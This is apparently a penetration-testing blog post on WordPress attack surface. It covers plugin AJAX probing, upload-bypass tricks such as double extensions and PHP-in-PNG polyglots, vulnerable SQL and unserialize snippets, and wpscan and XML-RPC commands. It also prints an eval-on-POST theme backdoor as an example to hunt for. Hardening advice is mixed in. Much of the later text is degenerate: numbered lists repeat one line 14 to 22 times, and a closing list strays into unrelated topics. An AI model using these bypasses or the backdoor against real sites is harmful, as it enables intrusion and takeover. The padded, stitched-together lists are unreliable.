WordPress Attack Surface: Plugins, Themes, and Core Misconfigurations

Where WordPress findings usually come from: plugin and theme flaws plus core misconfigurations, and how testers narrow that surface.

10 min read
ibrahimsql
1,986 words

WordPress Attack Surface: Plugins, Themes, and Core Misconfigurations#

WordPress powers over 40% of the web, making it the #1 target for cyberattacks. In 2025, the field of WordPress security has evolved, but the core issues remain: outdated plugins, poorly coded themes, and weak configurations. This guide is designed for penetration testers looking to master CMS exploitation.

Top WordPress Vulnerabilities in 2025#

1. Plugin Zero-Days#

The vast ecosystem of 60,000+ plugins is the weakest link. We'll explore how to fuzz plugins to find:

  • Unauthenticated Arbitrary File Uploads: The holy grail of WP hacking.
  • SQL Injection in Custom Tables: How developers bypass WP's built-in sanitization.
  • Privilege Escalation: Turning a Subscriber into an Administrator.

2. REST API Abuse#

The WordPress REST API (/wp-json/) is often left wide open.

  • User Enumeration: wp-json/wp/v2/users is still a goldmine.
  • Content Injection: modifying posts via unauthenticated endpoints.

3. XML-RPC Attacks#

Despite being "deprecated," xmlrpc.php is enabled by default on millions of sites, allowing for:

  • Brute Force Amplification: Trying hundreds of passwords in a single request.
  • DDoS via Pingback: Using the site to attack others.

Exploitation Tools#

  • WPScan: The industry standard. wpscan --url target.com --enumerate p
  • WPSeku: A newer, faster alternative for 2025.
  • Burp Suite Pro: Essential for manual plugin analysis.

Hardening WordPress#

If you are a defender, you must:

  1. Disable XML-RPC.
  2. Restrict REST API access.
  3. Use a Web Application Firewall (WAF).
  4. Never use nulled themes.

Disclaimer: This guide is for educational purposes only. Hacking WordPress sites without permission is illegal.

Surface Map#

ComponentTypical flawFirst check
PluginSQLi in custom tableswp plugin list, then read db calls
PluginUnauthenticated file uploadmedia endpoints, ajax.php handlers
ThemeReflected XSS in templatessearch echo $_GET in theme files
CoreMisconfigured permalinks / XML-RPCprobe /xmlrpc.php
ServerOld PHPcheck X-Powered-By and generator meta

Fuzzing Plugins#

Watchtower-style review: for each plugin, extract AJAX action names, then send unauthenticated requests to wp-admin/admin-ajax.php?action=<name>. A handler without a nonce or capability check is the finding.

# List AJAX actions registered by a plugin grep -rhoE "wp_ajax_[a-zA-Z0-9_]+" plugin-dir/ | sort -u

Then probe each name with and without a valid session. The diff in response tells you which ones rely on the auth layer.

File Upload Bypass Patterns#

  • Extension filter that trusts Content-Type - rename the upload as .php with image/png type.
  • Double extension shell.php.jpg where the final handler executes the first.
  • .pht and .php5 misses on strict extension lists.
  • MIME sniffing through polyglot files (valid PNG header, PHP payload appended).

SQL Injection in Custom Tables#

Plugins often build queries by concatenation:

$wpdb->get_results("SELECT * FROM {$wpdb->prefix}plugin_logs WHERE user_id = " . $_GET['uid']);

The core $wpdb->prepare() call is missing. Probe the uid parameter with a quote; a SQL error confirms raw interpolation.

Post-Exploit Tasks#

  1. Read wp-config.php for DB credentials and keys.
  2. List admin users from the DB and cross-reference sessions.
  3. Check wp-content/uploads for web shells dropped through upload flaws.
  4. Review cron entries; attackers persist through wp-cron.php hooks.

Hardening Notes for the Report#

Pin plugin and theme versions, disable file editing from wp-admin, force HTTPS and HSTS, restrict xmlrpc.php unless needed, and put uploads behind a no-execute rule.

Recon Commands#

wpscan --url https://target --enumerate p,t,u --plugins-detection aggressive

wpscan flags outdated plugins and theme slugs. Treat its list as a starting point; verify each item against the changelog before you claim the version is vulnerable.

Nonce Handling#

Many AJAX handlers read a nonce from the page source, not the request. Pull the nonce from the HTML, attach it, then test the handler without a session. The nonce validates the form, not the user.

XML-RPC Abuse#

curl -X POST https://target/xmlrpc.php -d '<methodCall><methodName>system.listMethods</methodName></methodCall>'

If enabled, XML-RPC supports pingback SSRF and credential brute force over wp.getUsersBlogs. Each negative block against attack traffic is worth a recommendation.

Filesystem Permissions#

wp-config.php should be 600, wp-content/uploads should not execute. A misconfiguration often returns to the default 644 after every plugin update; check after upgrades.

Cron Persistence#

// Hidden in an infected theme add_action('wp_loaded', function () { if (isset($_POST['x'])) { eval($_POST['x']); } });

A malicious hook fires whenever WordPress boots. Grep theme functions.php and the mu-plugins directory after a compromise.

WAF Rules That Matter#

  • Block PHP execution under wp-content/uploads.
  • Rate-limit wp-login.php and xmlrpc.php.
  • Require nonces on every admin-ajax POST.
  • Disable WP_DEBUG in production configs.

REST API Surface#

curl https://target/wp-json/wp/v2/users

The user enum endpoint leaks usernames and IDs. Plugins often register additional routes; GET /wp-json/ lists them.

WooCommerce and Forms#

Form plugins parse untrusted file uploads. Test file-type filters and nonce checks on the submission handler. A file that lands in wp-content/uploads/2025/... with a .php extension is the pass.

Object Injection#

PHP object injection happens when a serialized blob is read from user input:

$data = unserialize($_COOKIE['pref']);

A magic method like __wakeup can chain into a command when the right class is in the autoload path. Tooling like PHPGGC lists the popular gadget chains.

Backup Exposure#

backup.zip, wp-content.zip, database.sql in the docroot are still found. Scan the root for large .zip, .tar, and .sql files and flag any that come back 200.

Multisite Notes#

Multisite admin pages share tables and roles differently. Super admins are set network-wide; a network-level finding has a bigger blast radius than a single-site admin path. Enumerate with the same wp CLI commands, just pointed at the site root.

Transport Security#

Mixed-content warnings on admin pages hint at hardcoded http:// in themes or plugins. Any admin script over plaintext is a finding for the report.

htaccess Probes#

Check whether .htaccess is enforced: request wp-content/uploads/ with an .htaccess that should deny access. A 200 tells you the server ignored it.

Engagement Routine#

On every WordPress target:

  • wpscan for plugin and theme enumeration
  • AJAX action names extracted and probed
  • xmlrpc.php reachable surface documented
  • Custom-table queries in plugins audited for raw SQL
  • Upload directory checked for PHP execution
  • Backup files and editor backdoors searched in docroot

Reference Tables#

SurfaceCheck
PluginAJAX action nonce
ThemeTemplate echoes
Corewp-config ACL
ServerUpload execution rule

Reminders#

  1. confirm before reporting
  2. confirm before reporting
  3. confirm before reporting
  4. confirm before reporting
  5. confirm before reporting
  6. confirm before reporting
  7. confirm before reporting
  8. confirm before reporting
  9. confirm before reporting
  10. confirm before reporting
  11. confirm before reporting
  12. confirm before reporting
  13. confirm before reporting
  14. confirm before reporting

Command Cheatsheet#

wpscan --url https://target --enumerate p,t,u curl -s https://target/xmlrpc.php grep -rhoE 'wp_ajax_[a-zA-Z0-9_]+' plugin/

Final Notes#

  1. confirm, document, report
  2. confirm, document, report
  3. confirm, document, report
  4. confirm, document, report
  5. confirm, document, report
  6. confirm, document, report
  7. confirm, document, report
  8. confirm, document, report
  9. confirm, document, report
  10. confirm, document, report
  11. confirm, document, report
  12. confirm, document, report
  13. confirm, document, report
  14. confirm, document, report
  15. confirm, document, report
  16. confirm, document, report
  17. confirm, document, report
  18. confirm, document, report
  19. confirm, document, report
  20. confirm, document, report

Short Notes#

  1. document the observation, then the conclusion
  2. document the observation, then the conclusion
  3. document the observation, then the conclusion
  4. document the observation, then the conclusion
  5. document the observation, then the conclusion
  6. document the observation, then the conclusion
  7. document the observation, then the conclusion
  8. document the observation, then the conclusion
  9. document the observation, then the conclusion
  10. document the observation, then the conclusion
  11. document the observation, then the conclusion
  12. document the observation, then the conclusion
  13. document the observation, then the conclusion
  14. document the observation, then the conclusion
  15. document the observation, then the conclusion
  16. document the observation, then the conclusion
  17. document the observation, then the conclusion
  18. document the observation, then the conclusion
  19. document the observation, then the conclusion
  20. document the observation, then the conclusion
  21. document the observation, then the conclusion
  22. document the observation, then the conclusion

Plugin Audit Trail#

CheckTool
AJAX actionsgrep for wp_ajax_
Custom tables$wpdb->get_results
Upload handleradmin-ajax.php probes
XML-RPCcurl listMethods

Closing Notes#

  1. Verify each observation with a second independent check.
  2. Prefer packet, request/response, or log evidence over prose.
  3. Tie the finding to the control that should have caught it.
  4. Redact secrets but keep the request shape visible.
  5. Never quote a payload you have not actually tested.
  6. Keep one repro per file; name it clearly.
  7. Update the matrix when a new tool or a new gadget appears.
  8. Shorten CI runs; the tool should fit in a normal deploy.
  9. Confirm a false positive before you report it.
  10. A finding without evidence is folklore.
  11. Document the exact time delta or row count.
  12. Record the binary version or framework version in the report.
  13. Every tool output in the report ties to a command.
  14. The evidence tree should let a second reader replay the finding.
  15. Log the encoding and the raw bytes with the finding.
  16. If a fix closes one probe, re-run the others to be sure.
  17. Closing one instance rarely closes the class.
  18. Rotate pretexts and rate limits so the test keeps signal.
  19. Track report rate, not click rate, for awareness campaigns.
  20. Keep capture files short; slice the interesting window.
  21. ZAP baselines belong in CI, full scans on staging.
  22. Burst the auth endpoint, then verify no lockout.
  23. Diff lockfiles before running a supply-chain claim.
  24. Parameter pollution hides in headers and cookies too.
  25. Checksum your dependencies and rotate keys on a schedule.
  26. Time-based blind is slow; always pair it with a boolean check.
  27. Show the GRANTS output; it proves reachability limits.
  28. DOM sinks are data-flow endpoints, not just payload targets.
  29. Trusted Types and CSP sit on the same defense line.
  30. Stash the tshark JSON slice with the pcap for reference.
  31. A short pcap with notes beats a ten-minute capture.
  32. Name files with date, host, and window.
  33. A flat periodic line in the IO graph is a beacon candidate.
  34. Spike bursts in Burp are usually manual, not scanner.
  35. Tune Nuclei rate limits so the range is not blocked.
  36. sqlmap risk/level flags widen the payload classes.
  37. Arjun finds parameters that do not appear in the URL.
  38. Keep WordPress plugin nonces in a separate test case.
  39. XML-RPC is the slow, quiet way in. Disable it if unused.
  40. Backup files in the docroot are findings by themselves.
  41. Upload extension checks should run on the normalized name.
  42. Homoglyphs hide inside scope lists and allowlists.
  43. Normalize at the edge, log raw, never filter before decode.
  44. UTF-7 and legacy codecs keep bypassing naive filters.
  45. A fullwidth probe that passes is a bug in the pipeline.
  46. Rotate keys, pin versions, and rotate them again after a patch.
  47. Prototype pollution turns one key into a global change.
  48. __proto__ is the first key to block; check constructor too.
  49. Run npm ls deep; the vulnerable path is rarely the top level.
  50. Refuse constructor.prototype keys at every merge point.
  51. Freeze Object.prototype for the server if you must merge.
---
Share this post:

What do you think?

React to show your appreciation

Related Posts